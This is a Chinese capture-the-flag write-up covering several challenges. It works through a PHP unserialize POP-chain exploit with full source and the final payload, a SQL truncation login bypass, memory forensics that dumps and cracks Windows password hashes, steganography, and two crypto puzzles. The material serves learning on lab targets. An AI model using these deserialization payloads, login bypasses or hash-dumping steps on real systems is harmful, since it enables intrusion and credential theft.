一、1月

1、web1 babygo

访问题目得到源码,审计发现是php反序列化漏洞;

<?php  
@error_reporting(1);
include 'flag.php';
class baby
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct()
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool
{    
    public $filename;     
    public $nice;
    public $amzing;
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file);
            }  
            else
            {
                return "you must be joking!";
            }    
        }
    }  
}  

class sec
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{
    $Input_data = unserialize($_GET['data']);
    echo $Input_data;
}
else
{
    highlight_file("./index.php");
}
?>

先看下反序列化的利用条件:

  • 传入的数据进行unserialize()操作
  • 存在可利用的类
  • 需要满足:$this->nice->aaa === $this->nice->bbb

审计代码:

发现首先对我们传入的data进行反序列化,满足了第一个条件,找可以利用的类,发现:

实例化sec类,然后触发__tostring()的时候会调用sec类的read()方法.看一下sec类的read()方法:

发现是一个安全方法不能利用。但是注意到cool类的read()方法存在安全问题,可以读取文件:

读取文件只需要满足: $this->nice->aaa === $this->nice->bbb

$this->nice->aaa = $sth;会对$this->nice->aaa 重新进行赋值,要想仍相用到引用赋值。还有个需要注意的就是 $skyobj 为私有变量,需要加*和%00.

接下来构造pop链:

<?php  
class baby
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct()
    {      
        $this->skyobj = new cool;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
        return $this->skyobj->read();
    }  
}  
class cool
{    
    public $filename;     
    public $nice;
    public $amzing;
}
$v = new baby();
$v->bbb =& $a->aaa;
echo serialize($v);

#O:4:"baby":3:{s:9:"%00*%00skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";N;}

构造完整pop链:

<?php  
class baby
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct()
    {      
        $this->skyobj = new cool;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
        return $this->skyobj->read();
    }  
}  
class cool
{    
    public $filename = 'flag.php';     
    public $nice;
    public $amzing = 'O:4:"baby":3:{s:9:"%00*%00skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";N;}';
}
$v = new baby();
echo serialize($v);

#O:4:"baby":3:{s:9:"%00*%00skyobj";O:4:"cool":3:{s:8:"filename";s:8:"flag.php";s:4:"nice";N;s:6:"amzing";s:119:"O:4:"baby":3:{s:9:"%00*%00skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";N;}";}s:3:"aaa";N;s:3:"bbb";N;}

得到payload,得到flag。

2、web2 simple php

打开题目发现是一个thinkphp框架,版本是thinkphp 3.2。

扫描目录发现robots.txt
User-agent: *  Disallow: /ebooks  Disallow: /admin  Disallow: /xhtml/?  Disallow: /center

访问admin发现一个注册登陆页面:


随便注册用户,可以登陆但是提示:"u is not admin",顺手尝试了下约束攻击,发现真的成功了。。能够登陆:

username:admin                                                1 password:012345678                  

得到一个搜索框:

百度到一个tp3.2注入漏洞,但是试了好久不行,后期环境都崩了,果断放弃了。

看了一叶飘零师傅的wp,膜~

思路是报错id得到数据库为tpctf,表名为flag,猜测字段为flag,最后利用时间盲注得到flag。周周练的时候再复现下吧。

3、misc1 赢战2019

首先binwalk发现还有图片:

foremost提取图片,得到一张二维码,扫下:

用ss看下各个通道,得到flag:

flag{You ARE SOsmart}

4、misc2 memory

题目给了一个内存文件,需要得到管理员的密码,利用volatility工具分析,先看下操作系统属性:

可知系统为3位 winxp sp2 

查看缓存在内存中的注册表:

根据system和sam的起始虚拟地址把hash导出来:

利用john破解hash:

MD5后提交就可以了。

5、Crypto1 键盘之争

百度键盘之争qwerty键盘对应到dvorak键盘就得到flag。

密文:ypau_kjg;"g;"ypau+

明文:flag{this_is_flag}

6、Crypto2 Get it

题目一直没读明白,一直以为是AES或者是DES,但是一直不对。赛后才知道题目理解错了,password求错了。tcl...

这里把飘零师傅的正解拿来学习:

题目描述: Alice和Bob正在进行通信,作为中间人的Eve一直在窃听他们两人的通信。
Eve窃听到这样一段内容,主要内容如下: p = 37 A = 17 B = 31
U2FsdGVkX1+mrbv3nUfzAjMY1kzM5P7ok/TzFCTFGs7ivutKLBLGbZxOfFebNdb2l7V38e7I2ywU+BW/2dOTWIWnubAzhMN+jzlqbX6dD1rmGEd21sEAp40IQXmN/Y0OK4nCu4xEuJsNsTJZhk50NaPTDk7J7J+wBsScdV0fIfe23pRg58qzdVljCOzosb627oPwxidBEPuxs4WYehm+15zjw2cw03qeOyaXnH/yeqytKUxKqe2L5fytlr6FybZwHkYlPZ7JarNOIhO2OP3n53OZ1zFhwzTvjf7MVPsTAnZYc+OF2tqJS5mgWkWXnPal+A2lWQgmVxCsjl1DLkQiWy+bFY3W/X59QZ1GEQFY1xqUFA4xCPkUgB+G6AC8DTpKix5+Grt91ie09Ye/SgBliKdt5BdPZplp0oJWdS8Iy0bqfF7voKX3VgTwRaCENgXlVwhPEOslBJRh6Pk0cA0kUzyOQ+xFh82YTrNBX6xtucMhfoenc2XDCLp+qGVW9Kj6m5lSYiFFd0E=
分析得知,他们是在公共信道上交换加密密钥,共同建立共享密钥。
而上面这段密文是Alice和Bob使用自己的密值和共享秘钥,组成一串字符的md5值的前16位字符作为密码使用另外一种加密算法加密明文得到的。
例如Alice的密值为3,Bob的密值为6,共享秘钥为35,那么密码为:
password = hashlib.md5("(3,6,35)").hexdigest()[0:16]

可以看到 密钥交换和给定的3个参数,因此想到是 Diffie-Hellman密钥交换算法(DH密码)

  • A的公钥为17
  • B的公钥为31
  • 素数p为37

第一步先求gg是p的一个模p本原单位根(primitive root module p),所谓本原单位根就是指在模p乘法运算下,g的1次方,2次方……(p-1)次方这p-1个数互不相同,并且取遍1到p-1;直接调用sagemath的函数:

print primitive_root(37)

得到:g=2

A = g^a mod p  B = g^b mod p

A的私钥:

B的私钥:

共享密钥:key =  g^(b*a) mod p

a = 7
b = 9
g = 2
p = 37
print pow(g,a*b,p)
#6

求得共享密钥为:6

password:

import hashlib
password = hashlib.md5("(7,9,6)").hexdigest()[0:16]
print password
#password=a7ece9d133c9ec03

在线DES解密:

得到flag。